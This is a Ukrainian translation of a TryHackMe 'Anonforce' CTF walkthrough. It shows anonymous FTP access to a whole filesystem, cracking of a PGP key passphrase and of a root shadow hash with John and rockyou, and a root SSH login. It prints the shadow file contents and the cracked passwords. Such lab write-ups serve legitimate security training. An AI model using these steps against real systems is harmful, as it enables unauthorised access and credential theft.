машина boot2root для FIT та bsides guatemala CTF.
Нам потрібно знайти файли user.txt та root.txt.
Для зручності доступу до машини я призначив домен
anon.thm
для IP-адреси цільової машини, змінивши файл/etc/hosts
. Це налаштування забезпечує, щоб будь-який запит доanon.thm
розв'язувався на IP-адресу цілі, не покладаючись на DNS.
Початкова перевірка
Перше, що нам потрібно зробити після запуску машини, це виконати сканування за допомогою Nmap, щоб дізнатися, які сервіси та порти відкриті.
sudo nmap -sCV anon.thm
Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-01 05:30 EST
Nmap scan report for anon.thm (10.10.129.163)
Host is up (0.50s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot
| drwxr-xr-x 17 0 0 3700 Jan 01 02:21 dev
| drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 home
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
| drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64
| drwx------ 2 0 0 16384 Aug 11 2019 lost+found
| drwxr-xr-x 4 0 0 4096 Aug 11 2019 media
| drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt
| drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread [NSE: writeable]
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt
| dr-xr-xr-x 86 0 0 0 Jan 01 02:21 proc
| drwx------ 3 0 0 4096 Aug 11 2019 root
| drwxr-xr-x 18 0 0 540 Jan 01 02:21 run
| drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv
| dr-xr-xr-x 13 0 0 0 Jan 01 02:21 sys
|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.4.115.120
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
| 256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)
|_ 256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.54 seconds
Здається, відкрито порти 21 і 22. Порт 21 налаштований неправильно, у нас є доступ до файлової системи машини через FTP.
Давайте підключимося до машини через FTP, увійшовши як anonymous
, і пошукаємо цікаву інформацію.
ftp anon.thm
Connected to anon.thm.
220 (vsFTPd 3.0.3)
Name (anon.thm:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||53908|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin
drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot
drwxr-xr-x 17 0 0 3700 Jan 01 02:21 dev
drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc
drwxr-xr-x 3 0 0 4096 Aug 11 2019 home
lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib
drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64
drwx------ 2 0 0 16384 Aug 11 2019 lost+found
drwxr-xr-x 4 0 0 4096 Aug 11 2019 media
drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt
drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread
drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt
dr-xr-xr-x 83 0 0 0 Jan 01 02:21 proc
drwx------ 3 0 0 4096 Aug 11 2019 root
drwxr-xr-x 18 0 0 540 Jan 01 02:21 run
drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin
drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv
dr-xr-xr-x 13 0 0 0 Jan 01 02:21 sys
drwxrwxrwt 9 0 0 4096 Jan 01 02:21 tmp
drwxr-xr-x 10 0 0 4096 Aug 11 2019 usr
drwxr-xr-x 11 0 0 4096 Aug 11 2019 var
lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic
lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
226 Directory send OK.
ftp>
Спершу давайте перейдемо до директорії /home
і перевіримо наявність користувачів.
ftp> cd home
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||54729|)
150 Here comes the directory listing.
drwxr-xr-x 4 1000 1000 4096 Aug 11 2019 melodias
226 Directory send OK.
ftp> cd melodias
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||26702|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 33 Aug 11 2019 user.txt
226 Directory send OK.
ftp>
Тут ми знайшли користувача на ім'я melodias
, і в його директорії є файл user.txt
.
Оскільки ми підключені через FTP, ми не можемо використати команду cat
. Тому нам потрібно завантажити файл за допомогою команди get
.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||26829|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |*************************************************************************************************************************************| 33 3.90 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.06 KiB/s)
ftp>
Тепер наступне завдання — знайти root.txt
.
Ескалація привілеїв
Ми бачимо одну незвичну директорію з дивним розміром порівняно з іншими файлами, це notread
.
ftp> ls
229 Entering Extended Passive Mode (|||58462|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin
drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot
drwxr-xr-x 17 0 0 3700 Jan 01 02:21 dev
drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc
drwxr-xr-x 3 0 0 4096 Aug 11 2019 home
lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib
drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64
drwx------ 2 0 0 16384 Aug 11 2019 lost+found
drwxr-xr-x 4 0 0 4096 Aug 11 2019 media
drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt
drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread
drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt
dr-xr-xr-x 83 0 0 0 Jan 01 02:21 proc
drwx------ 3 0 0 4096 Aug 11 2019 root
drwxr-xr-x 18 0 0 540 Jan 01 02:21 run
drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin
drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv
dr-xr-xr-x 13 0 0 0 Jan 01 02:21 sys
drwxrwxrwt 9 0 0 4096 Jan 01 02:21 tmp
drwxr-xr-x 10 0 0 4096 Aug 11 2019 usr
drwxr-xr-x 11 0 0 4096 Aug 11 2019 var
lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic
lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
226 Directory send OK.
ftp> cd notread
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||20020|)
150 Here comes the directory listing.
-rwxrwxrwx 1 1000 1000 524 Aug 11 2019 backup.pgp
-rwxrwxrwx 1 1000 1000 3762 Aug 11 2019 private.asc
226 Directory send OK.
ftp>
В директорії notread
є два файли, backup.pgp
та private.asc
.
Давайте завантажимо їх на наш локальний комп'ютер і подивимося, що в них всередині.
ftp> get backup.pgp
local: backup.pgp remote: backup.pgp
229 Entering Extended Passive Mode (|||53159|)
150 Opening BINARY mode data connection for backup.pgp (524 bytes).
100% |*************************************************************************************************************************************| 524 11.35 MiB/s 00:00 ETA
226 Transfer complete.
524 bytes received in 00:00 (1.10 KiB/s)
ftp> get private.asc
local: private.asc remote: private.asc
229 Entering Extended Passive Mode (|||27131|)
150 Opening BINARY mode data connection for private.asc (3762 bytes).
100% |*************************************************************************************************************************************| 3762 1.35 MiB/s 00:00 ETA
226 Transfer complete.
3762 bytes received in 00:00 (5.73 KiB/s)
ftp>
Файл зашифрований, тому ми маємо почати з використання команди gpg
, щоб спробувати імпортувати файл private.asc
. Але ми не змогли це зробити, оскільки для цього потрібен пароль.
gpg --import private.asc
gpg: key B92CD1F280AD82C2: "anonforce " not changed
gpg: key B92CD1F280AD82C2/B92CD1F280AD82C2: error sending to agent: Operation cancelled
gpg: error reading 'private.asc': Operation cancelled
gpg: import from 'private.asc' failed: Operation cancelled
gpg: Total number processed: 0
gpg: unchanged: 1
gpg: secret keys read: 1
Ми можемо спробувати створити хеш цього файлу і передати його через John. Спочатку нам потрібно використати gpg2john
, щоб перетворити файл у формат, який зрозуміє John.
gpg2john private.asc > hashcrack
Created directory: /home/kali/.john
File private.asc
Тепер ми маємо передати створений хеш в John
і використати список слів rockyou.txt
для зламу пароля.
john hashcrack --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xbox360 (anonforce)
1g 0:00:00:00 DONE (2025-01-01 06:07) 12.50g/s 11625p/s 11625c/s 11625C/s xbox360..sheena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ми отримали пароль. Тепер можемо без проблем імпортувати ключ з файлу private.asc
.
gpg backup.pgp
gpg: WARNING: no command supplied. Trying to guess what you mean ...
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12
"anonforce "
┌──(kali㉿kali)-[~]
└─$ ls
backup backup.pgp Desktop Documents Downloads hashcrack Music Pictures private.asc Public Templates user.txt Videos
cat backup
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18120:0:99999:7:::
uuidd:*:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::
sshd:*:18120:0:99999:7:::
ftp:*:18120:0:99999:7:::
Ми отримали файл backup
. З його вмісту можна зробити висновок, що це резервна копія файлу /etc/shadow
.
Також у нас є хеш пароля для root. Давайте збережемо цей хеш у файл, а потім запустимо John.
sudo nano file.txt
┌──(kali㉿kali)-[~]
└─$ ls
backup backup.pgp Desktop Documents Downloads file.txt hashcrack Music Pictures private.asc Public Templates user.txt Videos
┌──(kali㉿kali)-[~]
└─$ john file.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hikari (?)
1g 0:00:00:05 DONE (2025-01-01 06:14) 0.1934g/s 1312p/s 1312c/s 1312C/s 98765432..random1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ми отримали пароль. Тепер спробуємо увійти в систему як root через SSH.
ssh [email protected]
The authenticity of host 'anon.thm (10.10.129.163)' can't be established.
ED25519 key fingerprint is SHA256:+bhLW3R5qYI2SvPQsCWR9ewCoewWWvFfTVFQUAGr+ew.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'anon.thm' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@ubuntu:~# ls
root.txt
root@ubuntu:~#
root.txt.
Якщо вам сподобався мій огляд, не забудьте підписатися на мене для отримання нових оновлень. Не забудьте залишити коментар про те, що ви думаєте про цей огляд.
Зв'яжіться зі мною: x.com
Перекладено з: Anonforce -TryHackMe